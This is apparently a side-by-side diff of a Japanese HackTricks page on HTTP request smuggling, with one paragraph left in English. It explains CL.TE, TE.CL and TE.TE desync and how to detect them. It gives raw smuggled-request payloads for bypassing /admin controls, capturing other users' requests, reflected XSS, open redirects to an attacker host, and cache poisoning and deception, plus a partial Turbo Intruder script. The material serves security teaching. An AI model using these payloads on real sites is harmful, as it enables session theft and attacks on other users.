- バックエンドサーバは、`Content-Length`を尊重し、リクエストの初期部分のみ(`7b`バイト)を処理し、残りを意図しない後続リクエストの一部として残します。 - バックエンドサーバは、`Content-Length`を尊重し、リクエストの初期部分のみ(`7b`バイト)を処理し、残りを意図しない後続リクエストの一部として残します。
- **例:** - **例:**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -103,11 +103,11 @@ x=
``` ```
#### TE.TE 脆弱性両方でTransfer-Encodingを使用し、曖昧化 #### TE.TE 脆弱性両方でTransfer-Encodingを使用し、曖昧化
- **サーバ:** 両方が`Transfer-Encoding`をサポートしていますが、曖昧化により1つのサーバがそれを無視するように誤解される可能性があります。 - **サーバ:** 両方が`Transfer-Encoding`をサポートしていますが、曖昧化によって無視される可能性があります。
- **攻撃シナリオ:** - **攻撃シナリオ:**
- 攻撃者は、曖昧化された`Transfer-Encoding`ヘッダーを含むリクエストを送信します。 - 攻撃者は、曖昧化された`Transfer-Encoding`ヘッダーを含むリクエストを送信します。
- どちらのサーバ(フロントエンドまたはバックエンド)が曖昧化を認識できないかによって、CL.TEまたはTE.CL脆弱性が悪用される可能性があります。 - どちらのサーバ(フロントエンドまたはバックエンド)が曖昧化を認識できないかに応じて、CL.TEまたはTE.CL脆弱性が悪用される可能性があります。
- 1つのサーバが見たリクエストの未処理部分は、後続リクエストの一部となり、スマグリングを引き起こします。 - 1つのサーバーが見る未処理のリクエストの部分が、後続リクエストの一部となり、スマグリングが発生します。
- **例:** - **例:**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -127,8 +127,8 @@ Transfer-Encoding
``` ```
#### **CL.CL シナリオフロントエンドとバックエンドの両方がContent-Lengthを使用:** #### **CL.CL シナリオフロントエンドとバックエンドの両方がContent-Lengthを使用:**
- 両方のサーバがリクエストを**Content-Length**ヘッダーだけ処理します。 - 両方のサーバがリクエストを**Content-Length**ヘッダーだけを基に処理します。
- 通常、両方のサーバがリクエストの長さを解釈する方法が一致しているため、スマグリングにはつながりません。 - 通常、両方のサーバーがリクエストの長さを解釈する方法に一致があるため、スマグリングにはつながりません。
- **例:** - **例:**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -140,8 +140,8 @@ Connection: keep-alive
``` ```
#### **CL != 0 シナリオ:** #### **CL != 0 シナリオ:**
- `Content-Length`ヘッダーが存在し、ゼロ以外の値を持っている場合を指します。これは、リクエストボディにコンテンツがあることを示しています。 - `Content-Length`ヘッダーが存在し、ゼロ以外の値を持っている場合を指します。これは、リクエストボディにコンテンツがあることを示します。
- スマグリング攻撃を理解し、作成する上で重要であり、サーバがリクエストの終わりをどのように決定するかに影響を与えます。 - スマグリング攻撃を理解し、作成する上で重要であり、サーバがリクエストの終わりをどのように決定するかに影響を与えます。
- **例:** - **例:**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -149,24 +149,18 @@ Host: vulnerable-website.com
Content-Length: 16 Content-Length: 16
Connection: keep-alive Connection: keep-alive
空でないボディ Non-Empty Body
``` ```
#### ホップバイホップヘッダーを使用して強制する #### ホップバイホップヘッダーを使用して強制する
ホップバイホップヘッダーを悪用することで、プロキシに**Content-LengthヘッダーまたはTransfer-Encodingヘッダーを削除するよう指示**し、HTTPリクエストスマグリングを悪用することが可能です。 ホップバイホップヘッダーを悪用することで、プロキシにヘッダーContent-LengthまたはTransfer-Encodingを**削除するよう指示**することができ、HTTPリクエストスマグリングを悪用することが可能です。
``` ```
Connection: Content-Length Connection: Content-Length
``` ```
**ホップバイホップヘッダーに関する詳細情報については、以下を参照してください:**
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
## HTTPリクエストスマグリングの発見 ## HTTPリクエストスマグリングの発見
HTTPリクエストスマグリングの脆弱性を特定することは、サーバーが操作されたリクエストに対してどれくらいの時間がかかるかを観察するタイミング技術を使用することでしばしば達成できます。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に有用です。これらの方法以外にも、このような脆弱性を見つけるために使用できる他の戦略やツールがあります。 HTTPリクエストスマグリングの脆弱性を特定することは、サーバーが操作されたリクエストにどれくらいの時間で応答するかを観察するタイミング技術を使用してしばしば達成できます。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に有用です。これらの方法以外にも、このような脆弱性を見つけるために使用できる他の戦略やツールがあります。
### タイミング技術を使用してCL.TE脆弱性を見つける ### タイミング技術を使用してCL.TE脆弱性を見つける
- **方法:** - **方法:**
@ -188,8 +182,8 @@ A
- バックエンドサーバーは、チャンク形式のメッセージを期待しており、到着しない次のチャンクを待機することで遅延が発生します。 - バックエンドサーバーは、チャンク形式のメッセージを期待しており、到着しない次のチャンクを待機することで遅延が発生します。
- **指標:** - **指標:**
- レスポンスにタイムアウトや長い遅延が発生すること - 応答にタイムアウトや長い遅延がある
- バックエンドサーバーから400 Bad Requestエラーを受信することがあり、詳細なサーバー情報が含まれることがあります。 - バックエンドサーバーから400 Bad Requestエラーを受信し、場合によっては詳細なサーバー情報が含まれています。
### タイミング技術を使用してTE.CL脆弱性を見つける ### タイミング技術を使用してTE.CL脆弱性を見つける
- **方法:** - **方法:**
@ -211,10 +205,10 @@ X
### 脆弱性を見つけるための他の方法 ### 脆弱性を見つけるための他の方法
- **差分応答解析:** - **差分応答解析:**
- 異なるバージョンのリクエストをわずかに変更して送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示す。 - 異なるバージョンのリクエストをわずかに変更して送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示します。
- **自動化ツールの使用:** - **自動化ツールの使用:**
- Burp Suiteの「HTTP Request Smuggler」拡張機能のようなツールを使用して、曖昧なリクエストのさまざまな形式を送信し、応答を分析してこれらの脆弱性を自動的にテストできます。 - Burp Suiteの 'HTTP Request Smuggler' 拡張機能のようなツールを使用して、曖昧なリクエストのさまざまな形式を送信し、応答を分析してこれらの脆弱性を自動的にテストできます。
- **Content-Lengthの変動テスト:** - **Content-Lengthの変動テスト:**
- 実際のコンテンツ長さと一致しない`Content-Length`値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。 - 実際のコンテンツ長さと一致しない`Content-Length`値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。
@ -237,7 +231,7 @@ Content-Length: 10
x= x=
``` ```
CL.TE攻撃では、最初のリクエストには`Content-Length`ヘッダーが利用され、その後の埋め込まれたリクエストには`Transfer-Encoding: chunked`ヘッダーが利用されます。フロントエンドプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査せず、`/admin`パスへの不正アクセスを許可します。 CL.TE攻撃では、最初のリクエストには`Content-Length`ヘッダーが利用され、その後の埋め込まれたリクエストには`Transfer-Encoding: chunked`ヘッダーが利用されます。フロントエンドプロキシは最初の`POST`リクエストを処理しますが、埋め込まれた`GET /admin`リクエストを検査せず、`/admin`パスへの未承認アクセスを許可します。
**TE.CLの例** **TE.CLの例**
``` ```
@ -259,7 +253,7 @@ a=x
### フロントエンドリクエストの書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> ### フロントエンドリクエストの書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
アプリケーションはしばしば、リクエストをバックエンドサーバーに渡す前に変更するために**フロントエンドサーバー**を使用します。典型的な変更には、`X-Forwarded-For: <クライアントのIP>`などのヘッダーを追加して、クライアントのIPをバックエンドに中継することが含まれます。これらの変更を理解することは重要であり、**保護をバイパスする方法**や**隠された情報やエンドポイントを明らかにする方法**を明らかにする可能性があります。 アプリケーションはしばしば、リクエストをバックエンドサーバーに渡す前に変更するために**フロントエンドサーバー**を使用します。典型的な変更には、`X-Forwarded-For: <クライアントのIP>`などのヘッダーを追加して、クライアントのIPをバックエンドに中継することが含まれます。これらの変更を理解することは重要であり、それによって**保護をバイパス**したり、**隠された情報やエンドポイントを明らかに**する方法が明らかになる可能性があります。
プロキシがリクエストをどのように変更するかを調査するには、バックエンドが応答でエコーするPOSTパラメーターを見つけます。その後、このパラメーターを最後に使用して、次のようなリクエストを作成します。 プロキシがリクエストをどのように変更するかを調査するには、バックエンドが応答でエコーするPOSTパラメーターを見つけます。その後、このパラメーターを最後に使用して、次のようなリクエストを作成します。
``` ```
@ -278,19 +272,19 @@ Content-Length: 100
search= search=
``` ```
この構造では、`search=`の後に続くリクエストコンポーネントが追加され、それがレスポンスで反映されるパラメータとなります。この反映により、後続リクエストのヘッダーが公開されます。 この構造では、`search=`の後に続くリクエストコンポーネントが追加され、それがレスポンスで反映されるパラメータとなります。この反映により、後続リクエストのヘッダーが公開されます。
ネストされたリクエストの`Content-Length`ヘッダーを実際のコンテンツ長と一致させることが重要です。小さな値から始め、徐々に増やすことが推奨されます。値が低すぎると反映されるデータが切り捨てられ、値が高すぎるとリクエストがエラーになる可能性があります。 ネストされたリクエストの`Content-Length`ヘッダーを実際のコンテンツ長と一致させることが重要です。小さな値から始め、徐々に増やすことが望ましいです。値が低すぎると反映されるデータが切り捨てられ、値が高すぎるとリクエストがエラーになる可能性があります。
このテクニックはTE.CL脆弱性の文脈でも適用可能ですが、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。 このテクニックはTE.CL脆弱性の文脈でも適用可能ですが、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
この方法は、主にフロントエンドプロキシによるリクエストの変更を理解し、基本的に自己調査を行うことを目的としています。 この方法は、主にフロントエンドプロキシによって行われたリクエストの変更を理解するために役立ち、基本的に自己調査を行います。
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
次のユーザーのリクエストをキャプチャすることは可能であり、POST操作中に特定のリクエストをパラメータの値として追加することで実現できます。以下は、これを達成する方法です 次のユーザーのリクエストをキャプチャすることが可能で、POST操作中に特定のリクエストをパラメータの値として追加することで実現できます。以下は、これを達成する方法です
以下のリクエストをパラメータの値として追加することで、後続クライアントのリクエストを保存できます: 以下のリクエストをパラメータの値として追加することで、後続クライアントのリクエストを保存できます:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -310,18 +304,18 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment= csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
``` ```
このシナリオでは、**comment parameter** は、公開されたページのコメントセクション内のコンテンツを格納するために意図されています。したがって、次のリクエストのコンテンツはコメントとして表示されます。 このシナリオでは、**comment parameter** は、公開されたページのコメントセクション内のコンテンツを保存するために意図されています。したがって、次のリクエストの内容はコメントとして表示されます。
ただし、このテクニックには制限があります。一般的に、スマグルされたリクエストで使用されるパラメーター区切り記号までのデータのみをキャプチャします。URLエンコードされたフォームの送信では、この区切り記号は `&` 文字です。これは、被害者ユーザーのリクエストからキャプチャされたコンテンツが最初の `&` で停止することを意味します。これはクエリ文字列の一部である可能性さえあります。 ただし、このテクニックには制限があります。一般的に、スマグルされたリクエストで使用されるパラメーター区切り記号までのデータのみをキャプチャします。URLエンコードされたフォーム送信の場合、この区切り記号は `&` 文字です。これは、被害者ユーザーのリクエストからキャプチャされたコンテンツが最初の `&` で停止することを意味します。これはクエリ文字列の一部である可能性さえあります。
さらに、TE.CL 脆弱性がある場合、このアプローチも有効であることに注意する価値があります。この場合、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメーターに追加されます。 さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。このような場合、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメーターに追加されます。
### 反射型XSSを悪用するためのHTTPリクエストスマグリングの使用 ### 反射型XSSを悪用するためにHTTPリクエストスマグリングを使用する
HTTPリクエストスマグリングを利用して、**反射型XSS** に脆弱なWebページを悪用することができ、次の利点があります HTTPリクエストスマグリングを利用して、**反射型XSS** に脆弱なWebページを悪用することができ、次の利点があります
* ターゲットユーザーとのやり取りが**不要**です。 * ターゲットユーザーとのやり取りが**不要**です。
* 通常到達不可能なリクエストの一部でXSSを悪用することができます。例えば、HTTPリクエストヘッダー。 * 通常到達不可能なリクエストの一部でXSSを悪用することができます。例HTTPリクエストヘッダー。
User-Agentヘッダーを介して反射型XSSに脆弱なウェブサイトのシナリオでは、次のペイロードがこの脆弱性を悪用する方法を示しています User-Agentヘッダーを介して反射型XSSに脆弱なウェブサイトのシナリオでは、次のペイロードがこの脆弱性を悪用する方法を示しています
``` ```
@ -347,20 +341,26 @@ A=
このペイロードは、以下の手順で脆弱性を悪用するために構築されています: このペイロードは、以下の手順で脆弱性を悪用するために構築されています:
1. `Transfer-Encoding: chunked`ヘッダーを含む、一見通常の`POST`リクエストを開始し、スマグリングの開始を示す。 1. `Transfer-Encoding: chunked`ヘッダーを含む、一見通常の`POST`リクエストを開始し、スマグリングの開始を示す。
2. `0`を続け、チャンク形式のメッセージボディの終わりをマークする。 2. `0`を続け、チャンクメッセージボディの終了をマークする。
3. 次に、スマグリングされた`GET`リクエストが導入され、`User-Agent`ヘッダーにスクリプト`<script>alert(1)</script>`がインジェクトされ、サーバーがこの後続リクエストを処理する際にXSSをトリガーする。 3. 次に、スマグリングされた`GET`リクエストが導入され、`User-Agent`ヘッダーにスクリプト`<script>alert(1)</script>`が挿入され、サーバーがこの後続リクエストを処理する際にXSSをトリガーする。
`User-Agent`をスマグリングを通じて操作することで、ペイロードは通常のリクエスト制約をバイパスし、非標準だが効果的な方法で反射型XSS脆弱性を悪用します。 `User-Agent`をスマグリングを通じて操作することで、通常のリクエスト制約をバイパスし、非標準だが効果的な方法で反射型XSS脆弱性を悪用します。
### HTTPリクエストスマグリングを使用してオンサイトリダイレクトをオープンリダイレクトに変換する<a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### HTTPリクエストスマグリングを使用したオンサイトリダイレクトの悪用<a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
アプリケーションは、リダイレクトURLで`Host`ヘッダーからホスト名を使用して別のURLにリダイレクトすることがよくあります。これは、ApacheやIISなどのWebサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダをリクエストすると、スラッシュを含むリダイレクトが発生します。
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: normal-website.com Host: normal-website.com
``` ```
結果は: 結果:
``` ```
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/ Location: https://normal-website.com/home/
``` ```
以下は、HTTPリクエストスマグリングを使用してユーザーを外部サイトにリダイレクトするために操作できる可能性がある、見かけ上は無害な動作です。例: この振る舞いは無害に見えますが、HTTPリクエストスマグリングを使用してユーザーを外部サイトにリダイレクトするように操作することができます。例:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -374,7 +374,7 @@ GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
Foo: X Foo: X
``` ```
次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる可能性があります。 この密輸されたリクエストにより、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる可能性があります。
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
@ -386,17 +386,17 @@ Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/ Location: https://attacker-website.com/home/
``` ```
### HTTPリクエストスマグリングを使用してウェブキャッシュポイズニングを実行する <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a> ### HTTPリクエストスマグリングを使用してWebキャッシュポイズニングを実行する <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
### HTTPリクエストスマグリングを利用したウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### HTTPリクエストスマグリングを利用したWebキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュ**している場合に実行できます。通常、パフォーマンスを向上させるためです。サーバーのレスポンスを操作することで、**キャッシュをポイズン**することが可能です。 Webキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュ**している場合に実行できます。これは通常、パフォーマンスを向上させるためです。サーバーのレスポンスを操作することで、**キャッシュをポイズン**することが可能です。
以前、サーバーレスポンスを変更して404エラーを返す方法を観察しました([基本例](./#basic-examples)を参照)。同様に、サーバーをだまして、`/static/include.js`のリクエストに対して`/index.html`のコンテンツを返すことが可能です。その結果、`/static/include.js`のコンテンツが`/index.html`のものでキャッシュされ、ユーザーがアクセスできなくなり、拒否サービスDoS攻撃につながる可能性があります。 以前、サーバーレスポンスを変更して404エラーを返すことができることを確認しました([基本例](./#basic-examples)を参照)。同様に、サーバーをだまして、`/static/include.js`のリクエストに対して`/index.html`のコンテンツを返すことが可能です。その結果、`/static/include.js`のコンテンツが`/index.html`のものでキャッシュされ、ユーザーが`/static/include.js`にアクセスできなくなり、拒否サービスDoS攻撃につながる可能性があります。
このテクニックは、**オープンリダイレクト脆弱性**が発見された場合や、**オンサイトリダイレクトがオープンリダイレクトにつながる**場合に特に効果的です。これらの脆弱性を悪用して、`/static/include.js`のキャッシュコンテンツを攻撃者が制御するスクリプトに置き換えることが可能となり、更新された`/static/include.js`をリクエストするすべてのクライアントに対して広範囲なクロスサイトスクリプティングXSS攻撃を実行できます。 このテクニックは、**オープンリダイレクト脆弱性**が発見された場合や、**オンサイトリダイレクトがオープンリダイレクトになっている**場合に特に有効です。これらの脆弱性を悪用して、`/static/include.js`のキャッシュコンテンツを攻撃者が制御するスクリプトに置き換えることが可能であり、更新された`/static/include.js`をリクエストするすべてのクライアントに対して広範囲なクロスサイトスクリプティングXSS攻撃を実行できます。
以下は、**オンサイトリダイレクトがオープンリダイレクトに結びついたキャッシュポイズニングの悪用**の例です。目的は、`/static/include.js`のキャッシュコンテンツを攻撃者が制御するJavaScriptコードで提供することです 以下は、**オンサイトリダイレクトからオープンリダイレクトへのリダイレクトとキャッシュポイズニングの悪用**の例です。目的は、`/static/include.js`のキャッシュコンテンツを攻撃者が制御するJavaScriptコードで提供することです
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable.net Host: vulnerable.net
@ -414,14 +414,11 @@ Content-Length: 10
x=1 x=1
``` ```
### HTTPリクエストスマグリングを使用してWebキャッシュ欺瞞を実行する <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a> 埋め込まれたリクエストは`/post/next?postId=3`を対象としています。このリクエストは、**Hostヘッダーの値**を使用してドメインを決定し、`/post?postId=4`にリダイレクトされます。攻撃者は**Hostヘッダー**を変更することで、リクエストを自身のドメインにリダイレクトできます(**オンサイトリダイレクトからオープンリダイレクトへ**)。
> **WebキャッシュポイズニングとWebキャッシュ欺瞞の違いは何ですか** **ソケットポイズニング**が成功した後、`/static/include.js`への**GETリクエスト**を開始する必要があります。このリクエストは、前述の**オンサイトリダイレクトからオープンリダイレクト**リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
>
> * **Webキャッシュポイズニング**では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。
> * **Webキャッシュ欺瞞**では、攻撃者はアプリケーションに別のユーザーの機密コンテンツをキャッシュに保存させ、その後攻撃者がこのコンテンツをキャッシュから取得します。
攻撃者は、敏感なユーザー固有のコンテンツを取得するスマグルされたリクエストを作成します。以下はその例です: その後、`/static/include.js`への任意のリクエストは、攻撃者のスクリプトのキャッシュされたコンテンツを提供し、広範なXSS攻撃を実行します。
```markdown ```markdown
`POST / HTTP/1.1`\ `POST / HTTP/1.1`\
`Host: vulnerable-website.com`\ `Host: vulnerable-website.com`\
@ -432,11 +429,11 @@ x=1
`GET /private/messages HTTP/1.1`\ `GET /private/messages HTTP/1.1`\
`Foo: X` `Foo: X`
``` ```
もし、この密輸されたリクエストが静的コンテンツ向けのキャッシュエントリを汚染した場合(例:`/someimage.png`)、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得する可能性があります。 If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
### HTTPレスポンスデシンクロナイゼーションを使用したHTTPリクエストスグリングの武器化 ### HTTPレスポンスデシンクロナイゼーションを使用したHTTPリクエストスグリングの武器化
HTTPリクエストスマグリングの脆弱性を見つけたが、その攻撃方法がわからない場合は、他の攻撃手法を試してみてください: HTTPリクエストスムグリングの脆弱性を見つけた場合、その他の攻撃方法を試してみてください:
{% content-ref url="../http-response-smuggling-desync.md" %} {% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md) [http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
@ -446,7 +443,7 @@ HTTPリクエストスマグリングの脆弱性を見つけたが、その攻
### CL.TE ### CL.TE
[https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
@ -553,10 +550,10 @@ table.add(req)
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) を**フォロー**する
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローしてください**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する * **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>
@ -18,14 +18,14 @@ HackTricks をサポートする他の方法:
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローしてください**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する * **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手 * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
